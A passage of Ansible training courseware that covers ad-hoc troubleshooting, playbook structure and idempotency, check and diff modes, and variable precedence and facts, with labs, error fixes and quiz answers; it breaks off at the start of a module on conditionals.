ansible node2 -m command -a 'ps -p 1 -o comm=' ansible node2 -m setup -a 'filter=ansible_service_mgr' ansible node2 -m command -a 'systemctl list-unit-files --type=service --no-pager'
Fix: following module 0, run the container with /sbin/init , or use a VM; confirm the package is installed and the unit name is correct.
"msg": "Unsupported parameters for (ansible.builtin.copy) module: dst. Supported parameters include: …"
Cause: parameter name misspelled (it should be dest).
Fix:ansible-doc -s copy check the parameter name; the error message lists all supported parameters at the end.
"msg": "non-zero return code", "rc": 1 … (also counts as a failure when grep finds no match)
Cause: command/shell treat a non-zero exit code as failure, whereas grep returns 1 when nothing matches, which is not really an error in business terms.
Fix: in the playbook, use register + failed_when: result.rc not in [0, 1]; in ad-hoc you can append || true to the shell command (but it hides real errors, so use with care).
ERROR! couldn't resolve module/action 'docker_container'. This often indicates a misspelling, missing collection, or incorrect module path.
Cause: the module belongs to a collection (here community.docker), but you only installed ansible-core, or the module was renamed in the collection version.
ansible-galaxy collection list | grep -i docker ansible-doc -l | grep docker_container
Fix:ansible-galaxy collection install community.docker, and use the FQCN community.docker.docker_container.
1. One command: install htop on the app group (idempotent, with the apt cache valid for a set time), and output the result in one-line format.
ansible app -b -m apt -a 'name=htop state=present update_cache=true cache_valid_time=3600' -o
2. Look at the parameter snippet of the ansible.builtin.lineinfile module, and find its EXAMPLES section.
ansible-doc -s ansible.builtin.lineinfile ansible-doc ansible.builtin.lineinfile | sed -n '/EXAMPLES/,/RETURN/p'
On duty, you run ansible web -b -a 'systemctl restart nginx && systemctl is-active nginx', and all hosts return FAILED, with stderr reporting something like “Too many arguments.” Why? Give two correct ways to write it, and say which is better.
The default module is command, so && is not interpreted by the shell but passed as an argument to systemctl. Option 1: -m shell -a '…&&…'; option 2 (better): -m service -a 'name=nginx state=restarted', then verify with -m command -a 'systemctl is-active nginx' . Better still is a playbook: restart via a handler when the configuration changes, and use serial to restart in batches so not everything restarts at once.
Verified teaching videos
Official docs
- Introduction to ad hoc commands
- ansible.builtin collection module index
- command module · shell module
- ansible-doc CLI
Video storyboard (about 80 seconds)
This courseware cannot generate video/MP3 directly. A storyboard and narration script are provided for a video tool.
Visual: the terminal runs ansible all -a uptime -o, and three lines of results appear at once.
Narration: a one-line ad-hoc command runs one module in parallel across a group of machines.
Visual: the same command with a pipe is sent to two boxes, command and shell. The first treats the vertical bar as an argument and errors; the second hands it to /bin/sh and outputs normally.
Narration: command does not go through the shell, so pipes, redirection and variables do not work, but it is safer. Use shell only when you need those features.
Visual: the apt install command runs twice; the first time it shows yellow CHANGED, the second time green SUCCESS.
Narration: dedicated modules are naturally idempotent; repeated runs do not repeat changes.
Visual: ansible-doc -s service prints the parameter list, with state and enabled highlighted.
Narration: can't remember a parameter? Ask ansible-doc: it is the offline official manual.
Module 4 · Your first playbook and idempotency
- Write a correctly structured playbook: playbook → play (
name,hosts,become,tasks) → task (name+ one module + keywords). - Understand the meanings of ok / changed / failed / skipped / unreachable and PLAY RECAP; verify idempotency by checking that the second run shows changed=0.
- Build a safe execution routine:
--syntax-check→--list-hosts/--list-tasks→--check --diff→ run for real; use--limit,--start-at-task,--step. - Know the scope of
becomeand the limits of check mode.
What: the structure of a playbook
--- # YAML document start (optional)
- name: Install and start nginx # ← play: a set of hosts + a set of tasks
hosts: lb # target: inventory pattern
become: true # privilege escalation (applies to all tasks in this play)
gather_facts: true # default true: runs setup first to collect facts
tasks:
- name: Install nginx # ← task: name + one module
ansible.builtin.apt: # module (FQCN)
name: nginx # module parameters
state: present
- name: Start nginx
ansible.builtin.service:
name: nginx
state: started
enabled: true
- name: Second play (can target another group of hosts)
hosts: app
tasks: []
- Playbook: a YAML file whose content is a list of plays, executed in order.
- Play: map
hoststotasks(andhandlers,roles,vars,pre_tasks/post_tasks). Common keywords:become,gather_facts,serial,vars,vars_files,environment,any_errors_fatal. - Task: one module call plus task keywords (
name,become,when,loop,register,notify,tags,changed_when,failed_when,ignore_errors…). A task can call only one module.
Why: why upgrade from ad-hoc to a playbook
A playbook is “infrastructure code”: it can go into Git for code review, be linted and tested in CI, and be run repeatedly. Steps have order, conditions and notification relationships between them. The same playbook can serve another environment by swapping the inventory. Ad-hoc results cannot be reviewed or reproduced.
How: execution and status semantics
| Status | Color | Meaning | From JSON |
|---|---|---|---|
| ok | Green | Task succeeded, system not modified (already in the desired state) | changed: false |
| changed | Yellow | Task succeeded and modified the system | changed: true |
| failed | Red | Task failed; later tasks on this host do not run (other hosts continue) | failed: true |
| skipped | Cyan | when Skipped, e.g. because a condition was false | skipped: true |
| unreachable | Red | Connection failed (SSH/authentication); this host is removed from the run | Connection plugin raises |
| rescued / ignored | — | ; failure is handled by rescue or ignored by ignore_errors ignored | (block/rescue, lesson 2) |
In PLAY RECAP, ok counts includes tasks (changed is a subset of ok). The idempotency test: run again on a converged system and expect changed=0.
become (privilege escalation)
become: true lets a task run as another user (default root); the default method is sudo (become_method). It can be set at play level (all tasks), block level, or task level; task level overrides play level. Best practice: escalate only the tasks that need root, or enable it at play level and set become: false on the few tasks that do not need it. become_user: postgres When switching to a non-root user, watch out for temp file permission issues (explained in detail in lesson 2).
check mode (--check) and diff mode (--diff)
--check make modules that support it only “calculate whether they would change” without actually changing anything; --diff shows before/after differences of file contents. Limitations: ① modules without check-mode support are skipped; ② command/shell is skipped by default in check mode (unless creates/removes); ③ tasks that depend on earlier task results may report misleading outcomes—for example, on a brand-new host, “install nginx” only pretends to run, so “start the nginx service” then fails because the service does not exist. You can set check_mode: false on a single task (it runs for real even in check mode; suitable for read-only commands) or check_mode: true (always dry-run).
When: pre-execution safety checklist
ansible-playbook site.yml --syntax-check: whether the YAML and playbook structure are valid (does not connect to hosts).--list-hosts/--list-tasks: which machines will be hit and which tasks will run.--check --diff(add--limitone host): what will change.- Run for real: first
--limit 'app[0]'a single host, then everything; the second run confirms changed=0.
Comparison with similar technologies
| Ansible playbook | Shell script | Terraform | |
|---|---|---|---|
| Repeat execution | Idempotent (depends on the module) | You must write the checks yourself | Idempotent (based on state + plan) |
| Dry run | --check --diff (best effort) | None | terraform plan (exact) |
| Parallel multi-host and error isolation | Built in; failed hosts are removed automatically | Must be implemented yourself | Parallel by resource dependency graph |
| Execution order | Written order | Written order | Dependency graph |
--check passes means success is guaranteed” — check mode cannot simulate every dependency between steps; it is only a best-effort dry run. ② “Re-running a playbook from scratch after a failure is a problem” — an idempotent playbook is designed exactly for re-running after a failure; tasks already done show ok. ③ “A task can contain two modules” — it reports conflicting action statements. ④ “ok=5 changed=2 in the recap means 7 tasks” — changed is already included in ok, so 5 tasks succeeded, 2 of which made changes.Structure diagram: the hierarchy of playbook / play / task / module
State diagram: an idempotent playbook run multiple times
Idempotency simulator
On the left is node1's “real state”; on the right are the three tasks in nginx.yml. Try in order: first run → run again → create drift → use --check --diff to detect the drift → run to correct it. You can also first run --check on a brand-new host to see the classic false report of check mode.
Core commands and parameters
| Command / parameter | Purpose | Notes |
|---|---|---|
ansible-playbook PLAYBOOK | Run a playbook | Several files can be given at once; executed in order |
--syntax-check | Syntax and structure check only | Does not connect to hosts; does not check whether variables are defined |
--list-hosts / --list-tasks / --list-tags | List target hosts / tasks / tags | Does not execute |
-C, --check / -D, --diff | Dry run / show diff | The two are often used together |
-l, --limit | Narrow the target hosts | -l node1 |
--start-at-task "NAME" | Start execution from a given task | For debugging long playbooks; variables registered by skipped tasks will not exist |
--step | Ask y/n/c before each task | Step-by-step debugging |
-v … -vvvv | Verbose output | -v shows the JSON returned by the module |
-e, --extra-vars | Extra variables (highest precedence) | module 5 |
--force-handlers | Run notified handlers even if the play fails | module 6 |
cd ~/ansible-lab ansible-playbook nginx.yml --syntax-check ansible-playbook nginx.yml --list-hosts --list-tasks
playbook: nginx.yml
playbook: nginx.yml
play #1 (lb): Install and start nginx TAGS: []
pattern: ['lb']
hosts (1):
node1
tasks:
Install nginx TAGS: []
Write index page TAGS: []
Start and enable on boot TAGS: []
How to verify: A syntax check only prints playbook: nginx.yml if it passes. Common mistakes:--list-tasks does not show the implicit Gathering Facts task. Production use: In CI, run --syntax-check on every PR, together with ansible-lint (lesson 2).
Read the execution output
PLAY [Install and start nginx] ********************************************************** TASK [Gathering Facts] ********************************************************* ok: [node1] TASK [Install nginx] **************************************************************** changed: [node1] TASK [Write index page] ****************************************************************** changed: [node1] TASK [Start and enable on boot] ********************************************************** changed: [node1] PLAY RECAP ********************************************************************* node1 : ok=4 changed=3 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0
Whether the third task shows changed depends on whether the service starts automatically after the package is installed. The official Ubuntu container image ships with /usr/sbin/policy-rc.d (returns 101, preventing the install script from starting the service), so in this lab it usually shows changed. On a normal VM, nginx starts automatically after apt installs it, so this step shows ok (but enabled may still need changes).
Lab 4: nginx playbook — two runs and drift correction (about 8 minutes)
---
- name: Install and start nginx
hosts: lb
become: true
tasks:
- name: Install nginx
ansible.builtin.apt:
name: nginx
state: present
update_cache: true
cache_valid_time: 3600
- name: Write index page
ansible.builtin.copy:
content: "Hello from {{ inventory_hostname }} (managed by Ansible)\n"
dest: /var/www/html/index.html
owner: root
group: root
mode: "0644"
- name: Start and enable on boot
ansible.builtin.service:
name: nginx
state: started
enabled: true
Note: mode must be written as a quoted string "0644". An unquoted 0644 is parsed by YAML as the octal integer 420; Ansible also handles this correctly, but 644 (without a leading 0) is treated as decimal 644, giving odd permissions. ansible-lint warns about this (risky-octal).
cd ~/ansible-lab ansible-playbook nginx.yml --syntax-check ansible-playbook nginx.yml --check --diff
TASK [Install nginx] ****************************************************************
changed: [node1]
TASK [Write index page] ****************************************************************
--- before
+++ after: /var/www/html/index.html
@@ -0,0 +1 @@
+Hello from node1 (managed by Ansible)
changed: [node1]
TASK [Start and enable on boot] ****************************************************************
fatal: [node1]: FAILED! => {"changed": false, "msg": "Could not find the requested service nginx: host"}
PLAY RECAP *********************************************************************
node1 : ok=3 changed=2 unreachable=0 failed=1 skipped=0 rescued=0 ignored=0
This is the classic false report of check mode: nginx only “pretends” to install, so the service naturally does not exist. This does not mean the playbook is wrong. Ways to handle it: know the limitation, or add ignore_errors: "{{ ansible_check_mode }}" to that task (errors are then ignored only in check mode).
ansible-playbook nginx.yml curl -s http://172.30.0.11/
PLAY RECAP ********************************************************************* node1 : ok=4 changed=3 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0 Hello from node1 (managed by Ansible)
ansible-playbook nginx.yml
PLAY RECAP ********************************************************************* node1 : ok=4 changed=0 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0
docker exec node1 sh -c 'echo "hacked by hand" > /var/www/html/index.html; systemctl stop nginx' ansible-playbook nginx.yml --check --diff ansible-playbook nginx.yml curl -s http://172.30.0.11/
TASK [Write index page] **************************************************************** --- before: /var/www/html/index.html +++ after: /var/www/html/index.html @@ -1 +1 @@ -hacked by hand +Hello from node1 (managed by Ansible) changed: [node1] TASK [Start and enable on boot] **************************************************************** changed: [node1] … node1 : ok=4 changed=2 unreachable=0 failed=0 … Hello from node1 (managed by Ansible)
Running on a schedule --check --diff is the simplest drift detection; lesson 5 puts it into a scheduled job with alerts.
ansible-playbook nginx.yml --start-at-task "Write index page" ansible-playbook nginx.yml --step # before each task, enter y (run) / n (skip) / c (continue without asking) ansible-playbook nginx.yml -v | grep -A3 "Write index page"
Case 1: a “green playbook” as a release gate
Problem: The team playbook had many shell, and every run showed changed=20, so nobody could tell what this run actually changed. Approach: Use “changed=0 on an already converged environment” as the acceptance criterion and fix tasks one by one: switch to dedicated modules, add changed_when: false to read-only commands, and add creates to initialization commands; in CI, use Molecule's idempotence step to check automatically (lesson 2). Limit: A few modules are inherently non-idempotent (such as uri sending a POST), so you need to define changed yourself based on the return value.
Case 2: reviewing changes in check mode
Problem: The change board requires “showing the change content before execution”. Approach: In the PR pipeline, run --check --diff --limit on one representative host against the production inventory, and attach the output to the PR; for read-only query tasks (such as command: nginx -v) set check_mode: false so they do not affect later decisions. Limit: check results are not as precise a commitment as a Terraform plan; the review document must state this.
Case 3: safe re-runs after failure
Problem: While deploying to machine 37, the software repository timed out and the run failed. Approach: Because the playbook is idempotent, simply re-run it against the failed hosts: ansible-playbook site.yml --limit @/path/site.retry (requires enabling retry_files_enabled) or manually run --limit based on the recap; for network-related tasks add retries/until (module 6). Limit: Non-idempotent tasks (such as appending to a file) repeat their work on re-run; that is exactly why idempotency must be maintained.
Common errors and fixes
ERROR! conflicting action statements: apt, service
Cause: two modules are under one task, usually because you forgot - name: or an indentation error merged the next task's module into the previous one.
Fix: one module per task; check indentation, and each task starts with - name: .
ERROR! 'apt' is not a valid attribute for a Play
Cause: the task is at play level (forgot tasks:, or indented at the same level as hosts ).
Fix: tasks must go in the tasks: list; ansible-playbook --syntax-check can catch this early.
fatal: [node1]: FAILED! => {"msg": "Missing sudo password"}
Cause: used become, but the remote user's sudo requires a password.
Fix: pass -K (--ask-become-pass) when running; or provide ansible_become_password in vault-encrypted variables (lesson 2); or configure a restricted NOPASSWD sudo rule for the automation account.
In check mode: Could not find the requested service nginx: host (but it succeeds on the real run)
Cause: in check mode the earlier apt task did not actually install the package.
Fix: understand the limitation; for dependent tasks add ignore_errors: "{{ ansible_check_mode }}" or when: not ansible_check_mode.
playbook shows changed=1 every time (a command task)
Cause: command/shell always report changed by default.
- name: Check nginx version (read-only) ansible.builtin.command: nginx -v register: nginx_v changed_when: false
Fix: add changed_when: false to read-only commands; for commands that change the system, add creates/removes or decide based on the output.
1. Without connecting to any host, check nginx.yml's syntax and list all the tasks and target hosts.
ansible-playbook nginx.yml --syntax-check && ansible-playbook nginx.yml --list-hosts --list-tasks
2. Dry-run nginx.yml only against node1 and show the file differences.
ansible-playbook nginx.yml --check --diff --limit node1
A colleague's playbook still shows changed=2 on the second run: one task is shell: echo "export JAVA_HOME=/opt/jdk" >> /etc/profile, and the other is service: name=app state=restarted. Analyze the problem and propose a fix.
The first task appends a line every time,— non-idempotent, and the file keeps growing: switch to lineinfile (path=/etc/profile.d/java.sh line='export JAVA_HOME=/opt/jdk' create=true, module 7). The second task restarted restarts every time: change it to state: started to guarantee it runs, and move the “restart” into a handler that is triggered by notify only when the config or the program changes (module 6).
Verified teaching videos
Official docs
- Ansible playbooks
- Validating tasks: check mode and diff mode
- Understanding privilege escalation: become
- ansible-playbook CLI
Video storyboard (about 90 seconds)
This courseware cannot generate video/MP3 directly. A storyboard and narration script are provided for a video tool.
Visual: the nginx.yml file, with the play, task and module layers each framed in a different color.
Narration: a playbook is a list of plays; each play binds a set of hosts to a set of tasks; each task calls one module.
Visual: the first run; three tasks show yellow changed, and the recap shows changed equal to three.
Narration: the first run changes the brand-new host to the desired state.
Visual: the second run is all green; the recap changed equals zero.
Narration: an all-green second run shows the playbook is idempotent. This is the first test of whether a playbook is written correctly.
Visual: someone edits the index page by hand; check with diff shows red/green differences; the next run turns only one task yellow.
Narration: check plus diff finds drift without changing the system; a real run then corrects it.
Module 5 · Variables and facts
- Know where variables can be defined (inventory, group_vars/host_vars, play
vars/vars_files, taskvars,set_fact,register,-e), and be able to tell which one wins on a conflict. - Understand where facts come from (
gather_facts→setupmodule), know how to access them throughansible_facts['…'], and know that since core 2.20ansible_distributionstyle “injected” top-level variables are deprecated. - Know the magic variables:
inventory_hostname,hostvars,groups,group_names,play_hosts/ansible_play_hosts. - Know how to use
registerto save task results, anddebug(msg/var) to view variables.
What: variables and how to reference them
A variable name consists of letters, digits and underscores, cannot start with a digit, and should not share a name with a keyword or a Python dict method (e.g. keys,items). In playbooks and templates, reference variables as {{ var }} ; for dicts use {{ app['port'] }} or {{ app.port }} (square brackets are recommended to avoid clashes with method names).
{{ ,the whole value must be quoted: dest: "{{ base }}/app.conf". Otherwise YAML treats { as the start of a dict, and reports We were unable to read either as JSON nor YAML / warns “template expression … should be quoted”.Why: why define variables in layers
The same playbook must serve multiple environments and host roles: put default values in one place, override by group, override specific hosts further, and make temporary adjustments with -e. This way the playbook itself does not change; all differences live in variable files, which can be reviewed and traced.
How: variable precedence (22 levels officially, from lowest to highest)
| # | Source | # | Source |
|---|---|---|---|
| 1 | command-line values (e.g. -u user, strictly speaking not a variable) | 12 | play vars |
| 2 | role defaults (defaults/main.yml, lesson 2) | 13 | play vars_prompt |
| 3 | group variables in inventory files/scripts | 14 | play vars_files |
| 4 | inventory group_vars/all | 15 | role vars (vars/main.yml) |
| 5 | playbook group_vars/all | 16 | block vars |
| 6 | inventory group_vars/* | 17 | task vars |
| 7 | playbook group_vars/* | 18 | include_vars |
| 8 | host variables in inventory files/scripts | 19 | set_fact / register |
| 9 | inventory host_vars/* | 20 | role params,include_role params |
| 10 | playbook host_vars/* | 21 | include params |
| 11 | host facts / cached set_fact | 22 | extra vars (-e) always win |
Mnemonic: default values (role defaults) weakest → inventory (group → host) → playbook (play → block → task) → runtime-produced (set_fact/register) → -e strongest. Practical advice: define each variable once at the right level; put defaults in role defaults, environment differences in group_vars, and do not use -e to override everyday configuration.
Facts: the remote host's “self-introduction”
At the start of a play, an implicit task Gathering Facts (ansible.builtin.setup module) collects the OS, network interfaces, IPs, CPU, memory, disks, mount points, service manager, Python and more on the managed node, storing them in that host's ansible_facts dictionary.
- How to access:
ansible_facts['distribution'],ansible_facts['default_ipv4']['address'],ansible_facts['memtotal_mb']. - Deprecation notice: historically, facts were also “injected” as top-level variables (
ansible_distribution). Since core 2.20, theINJECT_FACTS_AS_VARSstyle is deprecated, and accessing injected variables gives a deprecation warning. is planned to be disabled by default in 2.24. New code should always useansible_facts['…'](drop theansible_prefix from the key). - Controlling collection:
gather_facts: falseskips it (faster; suits plays that do not need facts);gather_subset: [min, network]collects only a subset; fact caching (jsonfile/redis) is covered in lesson 7. - Custom facts: files on the managed node's
/etc/ansible/facts.d/*.fact(INI/JSON or executable scripts) appear underansible_facts['ansible_local'].
Magic variables: variables Ansible provides automatically
| Variable | Meaning | Example in this lesson |
|---|---|---|
inventory_hostname | The current host's name in the inventory | node2 |
inventory_hostname_short | The part before the first dot | node2 |
hostvars | dict of all hosts' variables (including collected facts) | hostvars['node1']['ansible_host'] |
groups | all groups and their host lists | groups['app'] → ['node2','node3'] |
group_names | groups the current host belongs to (excluding all) | node1 → ['cache','lab','lb'] |
ansible_play_hosts | hosts still active (not failed) in this play | — |
ansible_check_mode,ansible_version,playbook_dir,inventory_dir,role_path | runtime environment info | — |
Note: hostvars['node1']['ansible_facts'] only when node1 has already had facts collected in this run (or fact caching is enabled) has a value. When referencing facts across hosts, make sure an earlier play collected facts for those hosts.
register and debug
register: result Saves a task's returned JSON as a variable of the current host (precedence level 19). Common fields: changed,failed,rc,stdout,stdout_lines,stderr, and module-specific fields (such as stat module's result.stat.exists). debug The msg module runs on the control node: var prints a template string, {{ }} prints a variable directly (no need for verbosity: 1 ), -v shows its message only when
When: rules of thumb for where to define variables
- Host connection info and host-unique attributes →
host_vars; configuration shared by a group →group_vars; global defaults →group_vars/allor role defaults. - play-local constants →
vars; larger variable sets →vars_files. - values computed at runtime →
set_fact/register. - CI-supplied release version →
-e app_version=1.2.3(this is the legitimate use of -e).
Comparison with similar technologies
| Ansible | Terraform | Puppet | |
|---|---|---|---|
| Input variables | group_vars/host_vars/-e | variable + tfvars / -var | Hiera hierarchical data |
| target machine info | facts (setup module) | data sources | facts (Facter) |
| values produced at runtime | register / set_fact | resource attributes / outputs | — |
hostvars['node2']['result'] . ④ “-e port=8080 passed in is a number” —key=value form extra vars are all strings; when a type is needed, use JSON: -e '{"port": 8080}' or -e @vars.yml.Layer diagram: how variables flow into one task
Data diagram: what a register result looks like
debug: var=disk look at the full structureInteractive: variable precedence ladder
Assign values for app_port at different locations (checking one defines it), and observe the final value on node2 of {{ app_port }} . The lower on the ladder, the higher the precedence.
Core commands and parameters
| Command | Purpose | Notes |
|---|---|---|
ansible HOST -m setup | View all facts | Long output; combine with -a 'filter=…' |
-m setup -a 'filter=ansible_distribution*' | Filter facts by wildcard | Use with the filter; names with the ansible_ prefix |
-m setup -a 'gather_subset=!all,network' | Collect only a subset | min The subset always includes |
-m debug -a 'var=hostvars[inventory_hostname]' | View all variables of a host | includes facts (if already collected) |
-e 'k=v' / -e '{"k": 1}' / -e @file.yml | extra vars | k=v form values are all strings |
ansible-inventory --host HOST | View only inventory variables | excludes play variables and facts |
cd ~/ansible-lab
ansible node2 -m setup -a 'filter=ansible_distribution*'
ansible node2 -m setup -a 'filter=ansible_default_ipv4' | grep -E '"address"|"interface"'
ansible node1 -m debug -a 'var=group_names'
ansible node1 -m debug -a "msg={{ groups['app'] | join(',') }}"
node2 | SUCCESS => {
"ansible_facts": {
"ansible_distribution": "Ubuntu",
"ansible_distribution_file_parsed": true,
"ansible_distribution_file_path": "/etc/os-release",
"ansible_distribution_file_variety": "Debian",
"ansible_distribution_major_version": "24",
"ansible_distribution_release": "noble",
"ansible_distribution_version": "24.04",
"discovered_interpreter_python": "/usr/bin/python3"
},
"changed": false
}
"address": "172.30.0.12",
"interface": "eth0",
node1 | SUCCESS => {
"group_names": [
"cache",
"lab",
"lb"
]
}
node1 | SUCCESS => {
"msg": "node2,node3"
}
How to verify: setup output keys carry the ansible_ prefix, but when you access them in a playbook via ansible_facts the prefix is dropped :: ansible_facts['distribution_version']. Common errors: Referencing facts in an ad-hoc debug gives "undefined": ad-hoc does not collect facts automatically. Production use: choosing package names by distribution, computing the number of workers from memory size (module 7).
Standard register + debug pattern
- name: Check disk
ansible.builtin.command: df -h /
register: disk
changed_when: false
- name: Print second line
ansible.builtin.debug:
msg: "{{ inventory_hostname }}: {{ disk.stdout_lines[1] }}"
- name: Print the full structure only with -v
ansible.builtin.debug:
var: disk
verbosity: 1
Lab 5: generate a host report with facts and magic variables (about 6 minutes)
---
- name: Collect and display host info
hosts: lab
vars:
report_title: "Lab inventory report"
app_port: 8000 # play vars: overrides 5000 in group_vars/all.yml
tasks:
- name: Host summary (facts)
ansible.builtin.debug:
msg: >-
{{ inventory_hostname }} | {{ ansible_facts['distribution'] }} {{ ansible_facts['distribution_version'] }}
| {{ ansible_facts['default_ipv4']['address'] }} | {{ ansible_facts['processor_vcpus'] }} vCPU
| {{ ansible_facts['memtotal_mb'] }} MB | service_mgr={{ ansible_facts['service_mgr'] }}
- name: Which layer the variable comes from
ansible.builtin.debug:
msg: "env={{ env }} motd_role={{ motd_role }} app_port={{ app_port }} groups={{ group_names }}"
- name: Read root partition usage
ansible.builtin.command: df --output=pcent /
register: rootfs
changed_when: false
- name: Compute and save as a fact
ansible.builtin.set_fact:
root_used_pct: "{{ rootfs.stdout_lines[-1] | trim | replace('%', '') | int }}"
- name: Cross-host summary (runs only on node1)
hosts: node1
gather_facts: false
tasks:
- name: Read other hosts' facts and set_fact via hostvars
ansible.builtin.debug:
msg: "{{ item }} → {{ hostvars[item]['ansible_facts']['default_ipv4']['address'] }}, rootfs {{ hostvars[item]['root_used_pct'] }}%"
loop: "{{ groups['lab'] }}"
>- is a YAML folded block: multiple lines merge into one and the trailing newline is removed, good for long msg. The second play does not collect facts, but can read the facts and set_fact values collected for each host in the first play via hostvars .
cd ~/ansible-lab ansible-playbook report.yml
TASK [Host summary (facts)] ***********************************************************
ok: [node1] => {
"msg": "node1 | Ubuntu 24.04 | 172.30.0.11 | 4 vCPU | 15990 MB | service_mgr=systemd"
}
…
TASK [Which layer the variable comes from] **************************************************************
ok: [node1] => {
"msg": "env=lab motd_role=loadbalancer app_port=8000 groups=['cache', 'lab', 'lb']"
}
ok: [node3] => {
"msg": "env=lab motd_role=app app_port=8000 groups=['app', 'lab']"
}
…
TASK [Read other hosts' facts and set_fact via hostvars] ****************************************
ok: [node1] => (item=node1) => { "msg": "node1 → 172.30.0.11, rootfs 37%" }
ok: [node1] => (item=node2) => { "msg": "node2 → 172.30.0.12, rootfs 37%" }
ok: [node1] => (item=node3) => { "msg": "node3 → 172.30.0.13, rootfs 37%" }
service_mgr=systemd This proves systemd is recognized as PID 1; containers share the host's CPU, memory and root partition data.
ansible-playbook report.yml -e app_port=9000 --limit node2 | grep app_port
ansible-playbook report.yml -e '{"app_port": 9000}' --limit node2 -v | grep -c app_port
"msg": "env=lab motd_role=app app_port=9000 groups=['app', 'lab']"
ansible app -b -m file -a 'path=/etc/ansible/facts.d state=directory mode=0755' ansible app -b -m copy -a 'dest=/etc/ansible/facts.d/team.fact content="[owner]\nteam=platform\noncall=ops@example.com\n"' ansible node2 -m setup -a 'filter=ansible_local'
node2 | SUCCESS => {
"ansible_facts": {
"ansible_local": {
"team": {
"owner": {
"oncall": "ops@example.com",
"team": "platform"
}
}
}
},
"changed": false
}
Available in playbooks via ansible_facts['ansible_local']['team']['owner']['team'] reads; commonly used to mark a host with its "role / owning team / last deployed version".
ansible app -b -m file -a 'path=/etc/ansible/facts.d/team.fact state=absent'. report.yml is kept.Case 1: compute the worker count automatically from machine specs
Problem: The gunicorn worker count on VMs of different specs was maintained by hand and often misconfigured. Approach: Define gunicorn_workers: "{{ ansible_facts['processor_vcpus'] * 2 + 1 }}" in group_vars (the empirical formula officially recommended by gunicorn); override individual hosts in host_vars. Limit: Variables are evaluated lazily, so facts must be collected before they are referenced; in containers, facts report the host's CPU count, so correct it with cgroup limits (lesson 7).
Case 2: migrating injected facts variables
Problem: After upgrading to core 2.20, many legacy playbooks produced deprecation warnings for injected facts such as ansible_distribution ; 2.24 will stop injecting them by default. Approach: Use grep -rnE "ansible_(distribution|os_family|default_ipv4|hostname|memtotal_mb)" . to find references and bulk-replace them with ansible_facts['…']; ansible-lint also flags them. During the transition, set inject_facts_as_vars = True in ansible.cfg to keep the old behavior, but migrate as soon as possible. Limit:ansible_host,ansible_user and similar connection variables are not facts and are unaffected, so do not replace them by mistake.
Case 3: "configuration inconsistency" caused by -e
Problem: On-duty staff temporarily raised the production configuration with -e nginx_workers=16 ; the next routine deployment changed it back to 4 and caused a second incident. Approach: Rule: -e is used only for release version numbers and one-off switch-type parameters; configuration changes must edit group_vars and go through a PR. AWX can restrict the extra variables a template accepts (lesson 5). Limit: This requires team discipline and process.
Common errors and fixes
fatal: [node2]: FAILED! => {"msg": "The task includes an option with an undefined variable. … 'app_prot' is undefined"}
Cause: the variable name is misspelled, it is defined on another group/host, or the file that defines it was not loaded. Errors in core 2.19+ point to the template location where the error occurred.
ansible-inventory --host node2 -y | grep -i app_ ansible node2 -m debug -a 'var=app_port'
Fix: correct the spelling; provide a default for optional variables {{ app_port | default(5000) }}; use assert at the start of the playbook to check required variables.
ERROR! We were unable to read either as JSON nor YAML … Syntax Error while loading YAML. found unacceptable key / mapping values are not allowed here … The offending line appears to be: dest: {{ base }}/app.conf
Cause: a value starting with {{ is not quoted.
Fix:dest: "{{ base }}/app.conf".
'dict object' has no attribute 'ansible_facts' / hostvars['node3']['ansible_facts']['default_ipv4'] is undefined
Cause: a cross-host fact reference, but node3 did not collect facts in this run (it is not in the hosts of the current or an earlier play, or it was --limit excluded, or gather_facts: false).
Fix: add a hosts: all + gather_facts: true play before it, or use delegate_to + delegate_facts to collect; in production, enable fact caching. If you only need the address, use an inventory variable instead: hostvars['node3']['ansible_host'].
[DEPRECATION WARNING]: INJECT_FACTS_AS_VARS default to `True` is deprecated … Use `ansible_facts["fact_name"]` (no `ansible_` prefix) instead. This feature will be removed …
Cause: referenced a ansible_distribution style injected facts variable (deprecated since core 2.20; the exact warning text depends on your version).
Fix: change it to ansible_facts['distribution'].
Unexpected templating type error … unsupported operand type(s) for +: 'int' and 'str' (a number passed via -e is used in arithmetic)
Cause:-e port=8080 is a string; inline variables in an INI inventory are also strings.
Fix: convert with | int , or keep types in -e '{"port": 8080}' and YAML variable files.
1. View node3's total memory and service manager facts.
ansible node3 -m setup -a 'filter=ansible_memtotal_mb' ansible node3 -m setup -a 'filter=ansible_service_mgr'
2. Run report.yml, passing the integer app_port=7000 in JSON form, and target only the app group.
ansible-playbook report.yml -e '{"app_port": 7000}' --limit appgroup_vars/app.yml In log_level: info,host_vars/node3.yml in log_level: debug, the play vars in the playbook set log_level: warning. What is the final value on node3? If you want node3 to always be debug, how should it be adjusted?
play vars (12) rank above host_vars (9/10), so node3 gets warning. To make host-level settings take effect, turn the play's value into a "default": put it in role defaults or group_vars/all, or write in the play log_level: "{{ host_log_level | default('warning') }}" provided by host variables host_log_level. Principle: do not put overridable defaults at high-precedence positions.
Verified teaching videos
Official docs
- Using variables (includes the 22-level precedence)
- Discovering variables: facts and magic variables
- Special Variables
- Porting guide core 2.20 (INJECT_FACTS_AS_VARS deprecated)
Video storyboard (about 90 seconds)
This courseware cannot generate video/MP3 directly. A storyboard and narration script are provided for a video tool.
Visual: a ladder, from bottom to top: role defaults, inventory, play vars, set_fact, extra vars. The same variable app_port has a different value at each level.
Narration: one variable can be defined in many places; the more specific and the closer to execution, the higher the priority. A -e on the command line always wins.
Visual: the Gathering Facts task runs, and the managed node emits a dict containing system, network interface and memory information.
Narration: each play collects facts by default; access them with the ansible_facts bracket and key name.
Visual: node1 reads node2 and node3's IPs through hostvars, and the app group expands into two host names.
Narration: magic variables let one host see the whole inventory, such as hostvars, groups and inventory_hostname.
Visual: the JSON result of a command task is put into a box named disk; debug prints disk.stdout_lines.
Narration: register saves a task's result as a variable; use it with debug to inspect the structure, then use it for later decisions.
Module 6 · Conditionals, loops and handlers
- Write correct
when: without{{ }}, with results that are booleans (a hard requirement in core 2.19+), and be able to useis defined,is changed,in, and the list form of AND. - Use
loopto loop over lists and dicts (dict2items), and useloop_controlto control the label / variable names; know when not to use loop (apt takes lists directly). - Use
until+retries+delayto wait for a service to become ready. - Understand when handlers run: after being notified they are queued and run once, in definition order, at the end of the play's task section; know how to use
meta: flush_handlers,listen,--force-handlers.
What: when conditions
when value is a raw Jinja2 expression (without {{ }}), evaluated for each host separately; when false, the task shows skipping.
- name: Install only on Debian-family systems
